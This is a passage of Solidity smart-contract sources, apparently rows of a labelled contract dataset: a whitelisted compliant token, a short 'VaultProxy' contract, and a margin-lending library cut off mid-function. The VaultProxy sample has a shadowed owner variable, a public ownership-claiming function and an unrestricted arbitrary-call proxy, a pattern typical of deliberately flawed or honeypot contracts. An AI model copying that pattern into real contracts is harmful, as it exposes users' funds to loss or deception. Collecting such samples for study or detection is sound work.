function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _owner) public {
owner = _owner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Whitelist is Ownable {
mapping(address => bool) internal investorMap;
event Approved(address indexed investor);
event Disapproved(address indexed investor);
constructor(address _owner)
public
Ownable(_owner)
{
}
function isInvestorApproved(address _investor) external view returns (bool) {
require(_investor != address(0));
return investorMap[_investor];
}
function approveInvestor(address toApprove) external onlyOwner {
investorMap[toApprove] = true;
emit Approved(toApprove);
}
function approveInvestorsInBulk(address[] toApprove) external onlyOwner {
for (uint i = 0; i < toApprove.length; i++) {
investorMap[toApprove[i]] = true;
emit Approved(toApprove[i]);
}
}
function disapproveInvestor(address toDisapprove) external onlyOwner {
delete investorMap[toDisapprove];
emit Disapproved(toDisapprove);
}
function disapproveInvestorsInBulk(address[] toDisapprove) external onlyOwner {
for (uint i = 0; i < toDisapprove.length; i++) {
delete investorMap[toDisapprove[i]];
emit Disapproved(toDisapprove[i]);
}
}
}
contract Validator {
address public validator;
event NewValidatorSet(address indexed previousOwner, address indexed newValidator);
constructor() public {
validator = msg.sender;
}
modifier onlyValidator() {
require(msg.sender == validator);
_;
}
function setNewValidator(address newValidator) public onlyValidator {
require(newValidator != address(0));
emit NewValidatorSet(validator, newValidator);
validator = newValidator;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
constructor(address _owner)
public
Ownable(_owner)
{
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract DetailedERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract CompliantToken is Validator, DetailedERC20, MintableToken {
Whitelist public whiteListingContract;
struct TransactionStruct {
address from;
address to;
uint256 value;
uint256 fee;
address spender;
}
mapping (uint => TransactionStruct) public pendingTransactions;
mapping (address => mapping (address => uint256)) public pendingApprovalAmount;
uint256 public currentNonce = 0;
uint256 public transferFee;
address public feeRecipient;
modifier checkIsInvestorApproved(address _account) {
require(whiteListingContract.isInvestorApproved(_account));
_;
}
modifier checkIsAddressValid(address _account) {
require(_account != address(0));
_;
}
modifier checkIsValueValid(uint256 _value) {
require(_value > 0);
_;
}
event TransferRejected(
address indexed from,
address indexed to,
uint256 value,
uint256 indexed nonce,
uint256 reason
);
event TransferWithFee(
address indexed from,
address indexed to,
uint256 value,
uint256 fee
);
event RecordedPendingTransaction(
address indexed from,
address indexed to,
uint256 value,
uint256 fee,
address indexed spender
);
event WhiteListingContractSet(address indexed _whiteListingContract);
event FeeSet(uint256 indexed previousFee, uint256 indexed newFee);
event FeeRecipientSet(address indexed previousRecipient, address indexed newRecipient);
constructor(
address _owner,
string _name,
string _symbol,
uint8 _decimals,
address whitelistAddress,
address recipient,
uint256 fee
)
public
MintableToken(_owner)
DetailedERC20(_name, _symbol, _decimals)
Validator()
{
setWhitelistContract(whitelistAddress);
setFeeRecipient(recipient);
setFee(fee);
}
function setWhitelistContract(address whitelistAddress)
public
onlyValidator
checkIsAddressValid(whitelistAddress)
{
whiteListingContract = Whitelist(whitelistAddress);
emit WhiteListingContractSet(whiteListingContract);
}
function setFee(uint256 fee)
public
onlyValidator
{
emit FeeSet(transferFee, fee);
transferFee = fee;
}
function setFeeRecipient(address recipient)
public
onlyValidator
checkIsAddressValid(recipient)
{
emit FeeRecipientSet(feeRecipient, recipient);
feeRecipient = recipient;
}
function updateName(string _name) public onlyOwner {
require(bytes(_name).length != 0);
name = _name;
}
function updateSymbol(string _symbol) public onlyOwner {
require(bytes(_symbol).length != 0);
symbol = _symbol;
}
function transfer(address _to, uint256 _value)
public
checkIsInvestorApproved(msg.sender)
checkIsInvestorApproved(_to)
checkIsValueValid(_value)
returns (bool)
{
uint256 pendingAmount = pendingApprovalAmount[msg.sender][address(0)];
if (msg.sender == feeRecipient) {
require(_value.add(pendingAmount) <= balances[msg.sender]);
pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value);
} else {
require(_value.add(pendingAmount).add(transferFee) <= balances[msg.sender]);
pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value).add(transferFee);
}
pendingTransactions[currentNonce] = TransactionStruct(
msg.sender,
_to,
_value,
transferFee,
address(0)
);
emit RecordedPendingTransaction(msg.sender, _to, _value, transferFee, address(0));
currentNonce++;
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
checkIsInvestorApproved(_from)
checkIsInvestorApproved(_to)
checkIsValueValid(_value)
returns (bool)
{
uint256 allowedTransferAmount = allowed[_from][msg.sender];
uint256 pendingAmount = pendingApprovalAmount[_from][msg.sender];
if (_from == feeRecipient) {
require(_value.add(pendingAmount) <= balances[_from]);
require(_value.add(pendingAmount) <= allowedTransferAmount);
pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value);
} else {
require(_value.add(pendingAmount).add(transferFee) <= balances[_from]);
require(_value.add(pendingAmount).add(transferFee) <= allowedTransferAmount);
pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value).add(transferFee);
}
pendingTransactions[currentNonce] = TransactionStruct(
_from,
_to,
_value,
transferFee,
msg.sender
);
emit RecordedPendingTransaction(_from, _to, _value, transferFee, msg.sender);
currentNonce++;
return true;
}
function approveTransfer(uint256 nonce)
external
onlyValidator
checkIsInvestorApproved(pendingTransactions[nonce].from)
checkIsInvestorApproved(pendingTransactions[nonce].to)
checkIsValueValid(pendingTransactions[nonce].value)
returns (bool)
{
address from = pendingTransactions[nonce].from;
address spender = pendingTransactions[nonce].spender;
address to = pendingTransactions[nonce].to;
uint256 value = pendingTransactions[nonce].value;
uint256 allowedTransferAmount = allowed[from][spender];
uint256 pendingAmount = pendingApprovalAmount[from][spender];
uint256 fee = pendingTransactions[nonce].fee;
uint256 balanceFrom = balances[from];
uint256 balanceTo = balances[to];
delete pendingTransactions[nonce];
if (from == feeRecipient) {
fee = 0;
balanceFrom = balanceFrom.sub(value);
balanceTo = balanceTo.add(value);
if (spender != address(0)) {
allowedTransferAmount = allowedTransferAmount.sub(value);
}
pendingAmount = pendingAmount.sub(value);
} else {
balanceFrom = balanceFrom.sub(value.add(fee));
balanceTo = balanceTo.add(value);
balances[feeRecipient] = balances[feeRecipient].add(fee);
if (spender != address(0)) {
allowedTransferAmount = allowedTransferAmount.sub(value).sub(fee);
}
pendingAmount = pendingAmount.sub(value).sub(fee);
}
emit TransferWithFee(
from,
to,
value,
fee
);
emit Transfer(
from,
to,
value
);
balances[from] = balanceFrom;
balances[to] = balanceTo;
allowed[from][spender] = allowedTransferAmount;
pendingApprovalAmount[from][spender] = pendingAmount;
return true;
}
function rejectTransfer(uint256 nonce, uint256 reason)
external
onlyValidator
checkIsAddressValid(pendingTransactions[nonce].from)
{
address from = pendingTransactions[nonce].from;
address spender = pendingTransactions[nonce].spender;
if (from == feeRecipient) {
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender]
.sub(pendingTransactions[nonce].value);
} else {
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender]
.sub(pendingTransactions[nonce].value).sub(pendingTransactions[nonce].fee);
}
emit TransferRejected(
from,
pendingTransactions[nonce].to,
pendingTransactions[nonce].value,
nonce,
reason
);
delete pendingTransactions[nonce];
}
} | 1 | 4,720 |
pragma solidity ^0.4.24;
contract Proxy {
modifier onlyOwner { if (msg.sender == Owner) _; } address Owner = msg.sender;
function transferOwner(address _owner) public onlyOwner { Owner = _owner; }
function proxy(address target, bytes data) public payable {
target.call.value(msg.value)(data);
}
}
contract VaultProxy is Proxy {
address public Owner;
mapping (address => uint256) public Deposits;
function () public payable { }
function Vault() public payable {
if (msg.sender == tx.origin) {
Owner = msg.sender;
deposit();
}
}
function deposit() public payable {
if (msg.value > 0.5 ether) {
Deposits[msg.sender] += msg.value;
}
}
function withdraw(uint256 amount) public onlyOwner {
if (amount>0 && Deposits[msg.sender]>=amount) {
msg.sender.transfer(amount);
}
}
} | 0 | 2,055 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract AccessControlledBase {
mapping (address => bool) public authorized;
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
uint256 public GRACE_PERIOD_EXPIRATION;
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
}
contract Vault is StaticAccessControlled
{
using SafeMath for uint256;
event ExcessTokensWithdrawn(
address indexed token,
address indexed to,
address caller
);
address public TOKEN_PROXY;
mapping (bytes32 => mapping (address => uint256)) public balances;
mapping (address => uint256) public totalBalances;
constructor(
address proxy,
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{
TOKEN_PROXY = proxy;
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
uint256 actualBalance = TokenInteract.balanceOf(token, address(this));
uint256 accountedBalance = totalBalances[token];
uint256 withdrawableBalance = actualBalance.sub(accountedBalance);
require(
withdrawableBalance != 0,
"Vault#withdrawExcessToken: Withdrawable token amount must be non-zero"
);
TokenInteract.transfer(token, to, withdrawableBalance);
emit ExcessTokensWithdrawn(token, to, msg.sender);
return withdrawableBalance;
}
function transferToVault(
bytes32 id,
address token,
address from,
uint256 amount
)
external
requiresAuthorization
{
TokenProxy(TOKEN_PROXY).transferTokens(
token,
from,
address(this),
amount
);
balances[id][token] = balances[id][token].add(amount);
totalBalances[token] = totalBalances[token].add(amount);
assert(totalBalances[token] >= balances[id][token]);
validateBalance(token);
}
function transferFromVault(
bytes32 id,
address token,
address to,
uint256 amount
)
external
requiresAuthorization
{
balances[id][token] = balances[id][token].sub(amount);
totalBalances[token] = totalBalances[token].sub(amount);
assert(totalBalances[token] >= balances[id][token]);
TokenInteract.transfer(token, to, amount);
validateBalance(token);
}
function validateBalance(
address token
)
private
view
{
assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter = 1;
modifier nonReentrant() {
uint256 localCounter = _guardCounter + 1;
_guardCounter = localCounter;
_;
require(
_guardCounter == localCounter,
"Reentrancy check failure"
);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
library Fraction {
struct Fraction128 {
uint128 num;
uint128 den;
}
}
library FractionMath {
using SafeMath for uint256;
using SafeMath for uint128;
function add(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 left = a.num.mul(b.den);
uint256 right = b.num.mul(a.den);
uint256 denominator = a.den.mul(b.den);
if (left + right < left) {
left = left.div(2);
right = right.div(2);
denominator = denominator.div(2);
}
return bound(left.add(right), denominator);
}
function sub1Over(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.den % d == 0) {
return bound(
a.num.sub(a.den.div(d)),
a.den
);
}
return bound(
a.num.mul(d).sub(a.den),
a.den.mul(d)
);
}
function div(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.num % d == 0) {
return bound(
a.num.div(d),
a.den
);
}
return bound(
a.num,
a.den.mul(d)
);
}
function mul(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
return bound(
a.num.mul(b.num),
a.den.mul(b.den)
);
}
function bound(
uint256 num,
uint256 den
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 max = num > den ? num : den;
uint256 first128Bits = (max >> 128);
if (first128Bits != 0) {
first128Bits += 1;
num /= first128Bits;
den /= first128Bits;
}
assert(den != 0);
assert(den < 2**128);
assert(num < 2**128);
return Fraction.Fraction128({
num: uint128(num),
den: uint128(den)
});
}
function copy(
Fraction.Fraction128 memory a
)
internal
pure
returns (Fraction.Fraction128 memory)
{
validate(a);
return Fraction.Fraction128({ num: a.num, den: a.den });
}
function validate(
Fraction.Fraction128 memory a
)
private
pure
{
assert(a.den != 0);
}
}
library Exponent {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455;
uint256 constant public MAX_PRECOMPUTE_PRECISION = 32;
uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32;
function exp(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
require(
precomputePrecision <= MAX_PRECOMPUTE_PRECISION,
"Exponent#exp: Precompute precision over maximum"
);
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
uint256 integerX = uint256(Xcopy.num).div(Xcopy.den);
if (integerX == 0) {
return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision);
}
Fraction.Fraction128 memory expOfInt =
getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS);
while (integerX >= NUM_PRECOMPUTED_INTEGERS) {
expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS));
integerX -= NUM_PRECOMPUTED_INTEGERS;
}
Fraction.Fraction128 memory decimalX = Fraction.Fraction128({
num: Xcopy.num % Xcopy.den,
den: Xcopy.den
});
return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt);
}
function expHybrid(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION);
assert(X.num < X.den);
Fraction.Fraction128 memory Xtemp = X.copy();
if (Xtemp.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
uint256 d = 1;
for (uint256 i = 1; i <= precomputePrecision; i++) {
d *= 2;
if (d.mul(Xtemp.num) >= Xtemp.den) {
Xtemp = Xtemp.sub1Over(uint128(d));
result = result.mul(getPrecomputedEToTheHalfToThe(i));
}
}
return result.mul(expMaclaurin(Xtemp, maclaurinPrecision));
}
function expMaclaurin(
Fraction.Fraction128 memory X,
uint256 precision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
Fraction.Fraction128 memory Xtemp = ONE();
for (uint256 i = 1; i <= precision; i++) {
Xtemp = Xtemp.mul(Xcopy.div(uint128(i)));
result = result.add(Xtemp);
}
return result;
}
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= MAX_PRECOMPUTE_PRECISION);
uint128 denominator = [
125182886983370532117250726298150828301,
206391688497133195273760705512282642279,
265012173823417992016237332255925138361,
300298134811882980317033350418940119802,
319665700530617779809390163992561606014,
329812979126047300897653247035862915816,
335006777809430963166468914297166288162,
337634268532609249517744113622081347950,
338955731696479810470146282672867036734,
339618401537809365075354109784799900812,
339950222128463181389559457827561204959,
340116253979683015278260491021941090650,
340199300311581465057079429423749235412,
340240831081268226777032180141478221816,
340261598367316729254995498374473399540,
340271982485676106947851156443492415142,
340277174663693808406010255284800906112,
340279770782412691177936847400746725466,
340281068849199706686796915841848278311,
340281717884450116236033378667952410919,
340282042402539547492367191008339680733,
340282204661700319870089970029119685699,
340282285791309720262481214385569134454,
340282326356121674011576912006427792656,
340282346638529464274601981200276914173,
340282356779733812753265346086924801364,
340282361850336100329388676752133324799,
340282364385637272451648746721404212564,
340282365653287865596328444437856608255,
340282366287113163939555716675618384724,
340282366604025813553891209601455838559,
340282366762482138471739420386372790954,
340282366841710300958333641874363209044
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function getPrecomputedEToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= NUM_PRECOMPUTED_INTEGERS);
uint128 denominator = [
340282366920938463463374607431768211455,
125182886983370532117250726298150828301,
46052210507670172419625860892627118820,
16941661466271327126146327822211253888,
6232488952727653950957829210887653621,
2292804553036637136093891217529878878,
843475657686456657683449904934172134,
310297353591408453462393329342695980,
114152017036184782947077973323212575,
41994180235864621538772677139808695,
15448795557622704876497742989562086,
5683294276510101335127414470015662,
2090767122455392675095471286328463,
769150240628514374138961856925097,
282954560699298259527814398449860,
104093165666968799599694528310221,
38293735615330848145349245349513,
14087478058534870382224480725096,
5182493555688763339001418388912,
1906532833141383353974257736699,
701374233231058797338605168652,
258021160973090761055471434334,
94920680509187392077350434438,
34919366901332874995585576427,
12846117181722897538509298435,
4725822410035083116489797150,
1738532907279185132707372378,
639570514388029575350057932,
235284843422800231081973821,
86556456714490055457751527,
31842340925906738090071268,
11714142585413118080082437,
4309392228124372433711936
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function ONE()
private
pure
returns (Fraction.Fraction128 memory)
{
return Fraction.Fraction128({ num: 1, den: 1 });
}
}
library MathHelpers {
using SafeMath for uint256;
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return numerator.mul(target).div(denominator);
}
function getPartialAmountRoundedUp(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return divisionRoundedUp(numerator.mul(target), denominator);
}
function divisionRoundedUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
assert(denominator != 0);
if (numerator == 0) {
return 0;
}
return numerator.sub(1).div(denominator).add(1);
}
function maxUint256(
)
internal
pure
returns (uint256)
{
return 2 ** 256 - 1;
}
function maxUint32(
)
internal
pure
returns (uint32)
{
return 2 ** 32 - 1;
}
function getNumBits(
uint256 n
)
internal
pure
returns (uint256)
{
uint256 first = 0;
uint256 last = 256;
while (first < last) {
uint256 check = (first + last) / 2;
if ((n >> check) == 0) {
last = check;
} else {
first = check + 1;
}
}
assert(first <= 256);
return first;
}
}
library InterestImpl {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11;
uint256 constant DEFAULT_MACLAURIN_PRECISION = 5;
uint256 constant MAXIMUM_EXPONENT = 80;
uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613;
function getCompoundedInterest(
uint256 principal,
uint256 interestRate,
uint256 secondsOfInterest
)
public
pure
returns (uint256)
{
uint256 numerator = interestRate.mul(secondsOfInterest);
uint128 denominator = (10**8) * (365 * 1 days);
assert(numerator < 2**128);
Fraction.Fraction128 memory rt = Fraction.Fraction128({
num: uint128(numerator),
den: denominator
});
Fraction.Fraction128 memory eToRT;
if (numerator.div(denominator) >= MAXIMUM_EXPONENT) {
eToRT = Fraction.Fraction128({
num: E_TO_MAXIUMUM_EXPONENT,
den: 1
});
} else {
eToRT = Exponent.exp(
rt,
DEFAULT_PRECOMPUTE_PRECISION,
DEFAULT_MACLAURIN_PRECISION
);
}
assert(eToRT.num >= eToRT.den);
return safeMultiplyUint256ByFraction(principal, eToRT);
}
function safeMultiplyUint256ByFraction(
uint256 n,
Fraction.Fraction128 memory f
)
private
pure
returns (uint256)
{
uint256 term1 = n.div(2 ** 128);
uint256 term2 = n % (2 ** 128);
if (term1 > 0) {
term1 = term1.mul(f.num);
uint256 numBits = MathHelpers.getNumBits(term1);
term1 = MathHelpers.divisionRoundedUp(
term1 << (uint256(256).sub(numBits)),
f.den);
if (numBits > 128) {
term1 = term1 << (numBits.sub(128));
} else if (numBits < 128) {
term1 = term1 >> (uint256(128).sub(numBits));
}
}
term2 = MathHelpers.getPartialAmountRoundedUp(
f.num,
f.den,
term2
);
return term1.add(term2);
}
}
library MarginState {
struct State {
address VAULT;
address TOKEN_PROXY;
mapping (bytes32 => uint256) loanFills;
mapping (bytes32 => uint256) loanCancels;
mapping (bytes32 => MarginCommon.Position) positions;
mapping (bytes32 => bool) closedPositions;
mapping (bytes32 => uint256) totalOwedTokenRepaidToLender;
}
}
interface LoanOwner {
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
interface PositionOwner {
function receivePositionOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
library TransferInternal {
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
function grantLoanOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit LoanTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantLoanOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
